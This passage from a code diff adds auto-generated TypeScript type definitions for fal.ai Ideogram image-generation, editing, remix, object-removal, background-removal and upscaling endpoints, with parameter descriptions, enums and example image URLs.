the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: ImageD2B0F6Fb[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeC0C7D0D2 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type RGBColor = { + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number +} + +export type ColorPaletteMember = { + /** + * @description The weight of the color in the color palette + * @default 0.5 + */ + color_weight?: number | null + /** + * @description RGB color value for the palette member + * @type object + */ + rgb: RGBColor +} + +export const colorPaletteName = { + EMBER: 'EMBER', + FRESH: 'FRESH', + JUNGLE: 'JUNGLE', + MAGIC: 'MAGIC', + MELON: 'MELON', + MOSAIC: 'MOSAIC', + PASTEL: 'PASTEL', + ULTRAMARINE: 'ULTRAMARINE', +} as const + +export type ColorPaletteNameKey = + (typeof colorPaletteName)[keyof typeof colorPaletteName] + +export type ColorPalette = { + /** + * @description A list of color palette members that define the color palette + */ + members?: ColorPaletteMember[] | null + /** + * @description A color palette preset value + */ + name?: ColorPaletteNameKey | null +} + +export const inputFalAiIdeogramCharacterImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiIdeogramCharacterImageSizeKey = + (typeof inputFalAiIdeogramCharacterImageSize)[keyof typeof inputFalAiIdeogramCharacterImageSize] + +export const inputFalAiIdeogramCharacterRenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputFalAiIdeogramCharacterRenderingSpeedEnumKey = + (typeof inputFalAiIdeogramCharacterRenderingSpeedEnum)[keyof typeof inputFalAiIdeogramCharacterRenderingSpeedEnum] + +export const inputFalAiIdeogramCharacterStyleEnum = { + AUTO: 'AUTO', + REALISTIC: 'REALISTIC', + FICTION: 'FICTION', +} as const + +export type InputFalAiIdeogramCharacterStyleEnumKey = + (typeof inputFalAiIdeogramCharacterStyleEnum)[keyof typeof inputFalAiIdeogramCharacterStyleEnum] + +export type InputFalAiIdeogramCharacter = { + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description A list of 8 character hexadecimal codes representing the style of the image. Cannot be used in conjunction with style_reference_images or style + */ + style_codes?: string[] | null + /** + * @description A set of images to use as character references. Currently only 1 image is supported, rest will be ignored. (maximum total size 10MB across all character references). The images should be in JPEG, PNG or WebP format + * @example ["https://v3.fal.media/files/kangaroo/0rinwnj_Kn9Fsu2dK-aKm_image.png"] + * @type array + */ + reference_image_urls: string[] + /** + * @description The resolution of the generated image + * @default square_hd + */ + image_size?: + | ImageSizeC0C7D0D2 + | InputFalAiIdeogramCharacterImageSizeKey + | null + /** + * @description The rendering speed to use. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputFalAiIdeogramCharacterRenderingSpeedEnumKey + /** + * @description The style type to generate with. Cannot be used with style_codes. + * @default 'AUTO' + * @type string | undefined + */ + style?: InputFalAiIdeogramCharacterStyleEnumKey + /** + * @description A color palette for generation, must EITHER be specified via one of the presets (name) or explicitly via hexadecimal representations of the color with optional weights (members) + */ + color_palette?: ColorPalette | null + /** + * @description The prompt to fill the masked part of the image. + * @example Place the woman leisurely enjoying a cup of espresso while relaxing at a sunlit café table in Siena, Italy. The café setting showcases vintage wooden furniture with peeling white paint, aged brick flooring, and sun-bleached stone walls decorated with trailing ivy and vibrant potted geraniums that capture Siena's medieval character. Golden late-morning light streams through overhead, creating soft shadows that highlight the weathered architectural details. The composition appears slightly off-center, conveying the unguarded tranquility and personal intimacy of a peaceful moment savoring the Tuscan morning ambiance. + * @type string + */ + prompt: string + /** + * @description A set of images to use as style references (maximum total size 10MB across all style references). The images should be in JPEG, PNG or WebP format + */ + image_urls?: string[] | null + /** + * @description Description of what to exclude from an image. Descriptions in the prompt take precedence to descriptions in the negative prompt. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description A set of masks to apply to the character references. Currently only 1 mask is supported, rest will be ignored. (maximum total size 10MB across all character references). The masks should be in JPEG, PNG or WebP format + * @type array | undefined + */ + reference_mask_urls?: string[] + /** + * @description Determine if MagicPrompt should be used in generating the request or not. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean +} + +export type File6Bc112D4 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramCharacter = { + /** + * @example [{"url":"https://v3.fal.media/files/monkey/NC_1eo9ecE9fARcxviJ2R_image.png"}] + * @type array + */ + images: File6Bc112D4[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export const inputFalAiIdeogramCharacterEditRenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputFalAiIdeogramCharacterEditRenderingSpeedEnumKey = + (typeof inputFalAiIdeogramCharacterEditRenderingSpeedEnum)[keyof typeof inputFalAiIdeogramCharacterEditRenderingSpeedEnum] + +export type InputFalAiIdeogramCharacterEdit = { + /** + * @description A set of images to use as style references (maximum total size 10MB across all style references). The images should be in JPEG, PNG or WebP format + */ + image_urls?: string[] | null + /** + * @description The mask URL to inpaint the image. MUST have the exact same dimensions (width and height) as the input image. + * @example https://v3.fal.media/files/panda/jVDAgSkpsZFDP080ceSZJ_woman_face_mask.png + * @type string + */ + mask_url: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description The prompt to fill the masked part of the image. + * @example woman holding bag + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The image URL to generate an image from. MUST have the exact same dimensions (width and height) as the mask image. + * @example https://v3.fal.media/files/panda/-LC_gNNV3wUHaGMQT3klE_output.png + * @type string + */ + image_url: string + /** + * @description A list of 8 character hexadecimal codes representing the style of the image. Cannot be used in conjunction with style_reference_images or style + */ + style_codes?: string[] | null + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description A set of images to use as character references. Currently only 1 image is supported, rest will be ignored. (maximum total size 10MB across all character references). The images should be in JPEG, PNG or WebP format + * @example ["https://v3.fal.media/files/kangaroo/0rinwnj_Kn9Fsu2dK-aKm_image.png"] + * @type array + */ + reference_image_urls: string[] + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description A set of masks to apply to the character references. Currently only 1 mask is supported, rest will be ignored. (maximum total size 10MB across all character references). The masks should be in JPEG, PNG or WebP format + * @type array | undefined + */ + reference_mask_urls?: string[] + /** + * @description The rendering speed to use. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputFalAiIdeogramCharacterEditRenderingSpeedEnumKey + /** + * @description A color palette for generation, must EITHER be specified via one of the presets (name) or explicitly via hexadecimal representations of the color with optional weights (members) + */ + color_palette?: ColorPalette | null + /** + * @description Determine if MagicPrompt should be used in generating the request or not. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean +} + +export type File004E686B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramCharacterEdit = { + /** + * @example [{"url":"https://v3.fal.media/files/zebra/JJR2zayRdL3Pg7kr9cFyk_image.png"}] + * @type array + */ + images: File004E686B[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export type ImageSize6D453544 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiIdeogramCharacterRemixImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiIdeogramCharacterRemixImageSizeKey = + (typeof inputFalAiIdeogramCharacterRemixImageSize)[keyof typeof inputFalAiIdeogramCharacterRemixImageSize] + +export const inputFalAiIdeogramCharacterRemixRenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputFalAiIdeogramCharacterRemixRenderingSpeedEnumKey = + (typeof inputFalAiIdeogramCharacterRemixRenderingSpeedEnum)[keyof typeof inputFalAiIdeogramCharacterRemixRenderingSpeedEnum] + +export const inputFalAiIdeogramCharacterRemixStyleEnum = { + AUTO: 'AUTO', + REALISTIC: 'REALISTIC', + FICTION: 'FICTION', +} as const + +export type InputFalAiIdeogramCharacterRemixStyleEnumKey = + (typeof inputFalAiIdeogramCharacterRemixStyleEnum)[keyof typeof inputFalAiIdeogramCharacterRemixStyleEnum] + +export type InputFalAiIdeogramCharacterRemix = { + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description A list of 8 character hexadecimal codes representing the style of the image. Cannot be used in conjunction with style_reference_images or style + */ + style_codes?: string[] | null + /** + * @description A set of images to use as character references. Currently only 1 image is supported, rest will be ignored. (maximum total size 10MB across all character references). The images should be in JPEG, PNG or WebP format + * @example ["https://v3.fal.media/files/kangaroo/0rinwnj_Kn9Fsu2dK-aKm_image.png"] + * @type array + */ + reference_image_urls: string[] + /** + * @description The resolution of the generated image + * @default square_hd + */ + image_size?: + | ImageSize6D453544 + | InputFalAiIdeogramCharacterRemixImageSizeKey + | null + /** + * @description Strength of the input image in the remix + * @minimum 0.01 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + strength?: number + /** + * @description The rendering speed to use. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputFalAiIdeogramCharacterRemixRenderingSpeedEnumKey + /** + * @description The style type to generate with. Cannot be used with style_codes. + * @default 'AUTO' + * @type string | undefined + */ + style?: InputFalAiIdeogramCharacterRemixStyleEnumKey + /** + * @description A color palette for generation, must EITHER be specified via one of the presets (name) or explicitly via hexadecimal representations of the color with optional weights (members) + */ + color_palette?: ColorPalette | null + /** + * @description The prompt to remix the image with + * @example A glamorous portrait photograph of a woman in an elegant ballroom setting. The subject wears a champagne-colored ball gown with a fitted bodice, long sleeves, and a full skirt adorned with delicate lace appliques. The dress features a crystal-embellished hair accessory and pearl drop earrings. The grand staircase has ornate gold railings and leads to an elaborate crystal chandelier hanging from an arched ceiling. The walls are decorated with classical paintings featuring floral motifs. The lighting is warm and dramatic, creating a soft glow throughout the space. The composition is shot in a formal portrait style with the subject positioned on the lower landing of the staircase, looking over her shoulder at the camera. + * @type string + */ + prompt: string + /** + * @description A set of images to use as style references (maximum total size 10MB across all style references). The images should be in JPEG, PNG or WebP format + */ + image_urls?: string[] | null + /** + * @description Description of what to exclude from an image. Descriptions in the prompt take precedence to descriptions in the negative prompt. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The image URL to remix + * @example https://v3.fal.media/files/panda/mcxydS-_4ZjfBWFtgoo2z_XHLsl7khq6dC6Qp3cIdJl08rG0I.avif + * @type string + */ + image_url: string + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description A set of masks to apply to the character references. Currently only 1 mask is supported, rest will be ignored. (maximum total size 10MB across all character references). The masks should be in JPEG, PNG or WebP format + * @type array | undefined + */ + reference_mask_urls?: string[] + /** + * @description Determine if MagicPrompt should be used in generating the request or not. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean +} + +export type File1E35Edde = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramCharacterRemix = { + /** + * @example [{"url":"https://v3.fal.media/files/zebra/4F1SvlaPbkZt-Mle4CTH9_image.png"}] + * @type array + */ + images: File1E35Edde[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export type InputFalAiIdeogramObjectRemoval = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description A black-and-white mask matching the source image dimensions. White pixels are removed and black pixels are preserved (maximum file size 10MB). + * @example https://v3.fal.media/files/kangaroo/1dd3zEL5MXQ3Kb4-mRi9d_indir%20(20).png + * @type string + */ + mask_url: string + /** + * @description The source image containing the object to remove (maximum file size 10MB). + * @example https://v3.fal.media/files/panda/-LC_gNNV3wUHaGMQT3klE_output.png + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileF8119979 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiIdeogramObjectRemoval = { + /** + * @description The image with the masked object removed. + * @example {"url":"https://v3.fal.media/files/panda/xr7EI_0X5kM8fDOjjcMei_image.png"} + * @type object + */ + image: FileF8119979 +} + +export type InputFalAiIdeogramRemoveBackground = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The image URL whose background needs to be removed. The foreground subject is preserved against a transparent background. JPEG, PNG and WebP formats are supported (maximum file size 10MB). + * @example https://v3.fal.media/files/rabbit/F6dvKPFL9VzKiM8asJOgm_MJj6yUB6rGjTsv_1YHIcA_image.webp + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File34240430 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramRemoveBackground = { + /** + * @description The foreground image with the background removed (transparent). + * @example {"url":"https://v3b.fal.media/files/b/0a994215/rxdZME1tH4a2pmk0sKV-x_image.png"} + * @type object + */ + image: File34240430 +} + +export type InputFalAiIdeogramUpscale = { + /** + * @description The prompt to upscale the image with + * @default + */ + prompt?: string | null + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The image URL to upscale + * @example https://fal.media/files/monkey/e6RtJf_ue0vyWzeiEmTby.png + * @type string + */ + image_url: string + /** + * @description The resemblance of the upscaled image to the original image + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + resemblance?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Whether to expand the prompt with MagicPrompt functionality. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The detail of the upscaled image + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + detail?: number +} + +export type FileA8768332 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramUpscale = { + /** + * @example [{"file_size":6548418,"file_name":"image.png","url":"https://fal.media/files/lion/DxTSV6683MLl4VPAVUHR3_image.png","content_type":"image/png"}] + * @type array + */ + images: FileA8768332[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export const inputFalAiIdeogramV2AspectRatioEnum = { + '10:16': '10:16', + '16:10': '16:10', + '9:16': '9:16', + '16:9': '16:9', + '4:3': '4:3', + '3:4': '3:4', + '1:1': '1:1', + '1:3': '1:3', + '3:1': '3:1', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type InputFalAiIdeogramV2AspectRatioEnumKey = + (typeof inputFalAiIdeogramV2AspectRatioEnum)[keyof typeof inputFalAiIdeogramV2AspectRatioEnum] + +export const inputFalAiIdeogramV2StyleEnum = { + auto: 'auto', + general: 'general', + realistic: 'realistic', + design: 'design', + render_3D: 'render_3D', + anime: 'anime', +} as const + +export type InputFalAiIdeogramV2StyleEnumKey = + (typeof inputFalAiIdeogramV2StyleEnum)[keyof typeof inputFalAiIdeogramV2StyleEnum] + +export type InputFalAiIdeogramV2 = { + /** + * @example A comic style illustration of a skeleton sitting on a toilet in a bathroom. The bathroom has a Halloween decoration with a pumpkin jack-o-lantern and bats flying around. There is a text above the skeleton that says "Just Waiting for Halloween with Ideogram 2.0 at fal.ai" + * @type string + */ + prompt: string + /** + * @description A negative prompt to avoid in the generated image + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The aspect ratio of the generated image + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiIdeogramV2AspectRatioEnumKey + /** + * @description Whether to expand the prompt with MagicPrompt functionality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The style of the generated image + * @default 'auto' + * @type string | undefined + */ + style?: InputFalAiIdeogramV2StyleEnumKey +} + +export type FileE9Fca59B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV2 = { + /** + * @example [{"url":"https://fal.media/files/monkey/cNaoxPl0YAWYb-QVBvO9F_image.png"}] + * @type array + */ + images: FileE9Fca59B[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export const inputFalAiIdeogramV2EditStyleEnum = { + auto: 'auto', + general: 'general', + realistic: 'realistic', + design: 'design', + render_3D: 'render_3D', + anime: 'anime', +} as const + +export type InputFalAiIdeogramV2EditStyleEnumKey = + (typeof inputFalAiIdeogramV2EditStyleEnum)[keyof typeof inputFalAiIdeogramV2EditStyleEnum] + +export type InputFalAiIdeogramV2Edit = { + /** + * @description The prompt to fill the masked part of the image. + * @example A knight in shining armour holding a greatshield with "FAL" on it + * @type string + */ + prompt: string + /** + * @description The mask URL to inpaint the image. Needs to match the dimensions of the input image. + * @example https://storage.googleapis.com/falserverless/flux-lora/example-images/mask_knight.jpeg + * @type string + */ + mask_url: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The image URL to generate an image from. Needs to match the dimensions of the mask. + * @example https://storage.googleapis.com/falserverless/flux-lora/example-images/knight.jpeg + * @type string + */ + image_url: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Whether to expand the prompt with MagicPrompt functionality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The style of the generated image + * @default 'auto' + * @type string | undefined + */ + style?: InputFalAiIdeogramV2EditStyleEnumKey +} + +export type FileA4Ad1A6E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV2Edit = { + /** + * @example [{"url":"https://fal.media/files/monkey/cNaoxPl0YAWYb-QVBvO9F_image.png"}] + * @type array + */ + images: FileA4Ad1A6E[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export const inputFalAiIdeogramV2RemixAspectRatioEnum = { + '10:16': '10:16', + '16:10': '16:10', + '9:16': '9:16', + '16:9': '16:9', + '4:3': '4:3', + '3:4': '3:4', + '1:1': '1:1', + '1:3': '1:3', + '3:1': '3:1', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type InputFalAiIdeogramV2RemixAspectRatioEnumKey = + (typeof inputFalAiIdeogramV2RemixAspectRatioEnum)[keyof typeof inputFalAiIdeogramV2RemixAspectRatioEnum] + +export const inputFalAiIdeogramV2RemixStyleEnum = { + auto: 'auto', + general: 'general', + realistic: 'realistic', + design: 'design', + render_3D: 'render_3D', + anime: 'anime', +} as const + +export type InputFalAiIdeogramV2RemixStyleEnumKey = + (typeof inputFalAiIdeogramV2RemixStyleEnum)[keyof typeof inputFalAiIdeogramV2RemixStyleEnum] + +export type InputFalAiIdeogramV2Remix = { + /** + * @description The prompt to remix the image with + * @example An ice field in north atlantic + * @type string + */ + prompt: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The image URL to remix + * @example https://fal.media/files/lion/FHOx4y4a0ef7Sgmo-sOUR_image.png + * @type string + */ + image_url: string + /** + * @description Strength of the input image in the remix + * @minimum 0.01 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + strength?: number + /** + * @description The aspect ratio of the generated image + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiIdeogramV2RemixAspectRatioEnumKey + /** + * @description Whether to expand the prompt with MagicPrompt functionality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The style of the generated image + * @default 'auto' + * @type string | undefined + */ + style?: InputFalAiIdeogramV2RemixStyleEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type File6Ea0Dd65 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV2Remix = { + /** + * @example [{"url":"https://fal.media/files/monkey/cNaoxPl0YAWYb-QVBvO9F_image.png"}] + * @type array + */ + images: File6Ea0Dd65[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export const inputFalAiIdeogramV2TurboAspectRatioEnum = { + '10:16': '10:16', + '16:10': '16:10', + '9:16': '9:16', + '16:9': '16:9', + '4:3': '4:3', + '3:4': '3:4', + '1:1': '1:1', + '1:3': '1:3', + '3:1': '3:1', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type InputFalAiIdeogramV2TurboAspectRatioEnumKey = + (typeof inputFalAiIdeogramV2TurboAspectRatioEnum)[keyof typeof inputFalAiIdeogramV2TurboAspectRatioEnum] + +export const inputFalAiIdeogramV2TurboStyleEnum = { + auto: 'auto', + general: 'general', + realistic: 'realistic', + design: 'design', + render_3D: 'render_3D', + anime: 'anime', +} as const + +export type InputFalAiIdeogramV2TurboStyleEnumKey = + (typeof inputFalAiIdeogramV2TurboStyleEnum)[keyof typeof inputFalAiIdeogramV2TurboStyleEnum] + +export type InputFalAiIdeogramV2Turbo = { + /** + * @example A comic style illustration of a skeleton sitting on a toilet in a bathroom. The bathroom has a Halloween decoration with a pumpkin jack-o-lantern and bats flying around. There is a text above the skeleton that says "Just Waiting for Halloween with Ideogram 2.0 at fal.ai" + * @type string + */ + prompt: string + /** + * @description A negative prompt to avoid in the generated image + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The aspect ratio of the generated image + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiIdeogramV2TurboAspectRatioEnumKey + /** + * @description Whether to expand the prompt with MagicPrompt functionality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The style of the generated image + * @default 'auto' + * @type string | undefined + */ + style?: InputFalAiIdeogramV2TurboStyleEnumKey +} + +export type FileB6Ddf484 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV2Turbo = { + /** + * @example [{"url":"https://fal.media/files/monkey/cNaoxPl0YAWYb-QVBvO9F_image.png"}] + * @type array + */ + images: FileB6Ddf484[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export const inputFalAiIdeogramV2TurboEditStyleEnum = { + auto: 'auto', + general: 'general', + realistic: 'realistic', + design: 'design', + render_3D: 'render_3D', + anime: 'anime', +} as const + +export type InputFalAiIdeogramV2TurboEditStyleEnumKey = + (typeof inputFalAiIdeogramV2TurboEditStyleEnum)[keyof typeof inputFalAiIdeogramV2TurboEditStyleEnum] + +export type InputFalAiIdeogramV2TurboEdit = { + /** + * @description The prompt to fill the masked part of the image. + * @example A knight in shining armour holding a greatshield with "FAL" on it + * @type string + */ + prompt: string + /** + * @description The mask URL to inpaint the image. Needs to match the dimensions of the input image. + * @example https://storage.googleapis.com/falserverless/flux-lora/example-images/mask_knight.jpeg + * @type string + */ + mask_url: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The image URL to generate an image from. Needs to match the dimensions of the mask. + * @example https://storage.googleapis.com/falserverless/flux-lora/example-images/knight.jpeg + * @type string + */ + image_url: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Whether to expand the prompt with MagicPrompt functionality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The style of the generated image + * @default 'auto' + * @type string | undefined + */ + style?: InputFalAiIdeogramV2TurboEditStyleEnumKey +} + +export type File9722Dfbb = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV2TurboEdit = { + /** + * @example 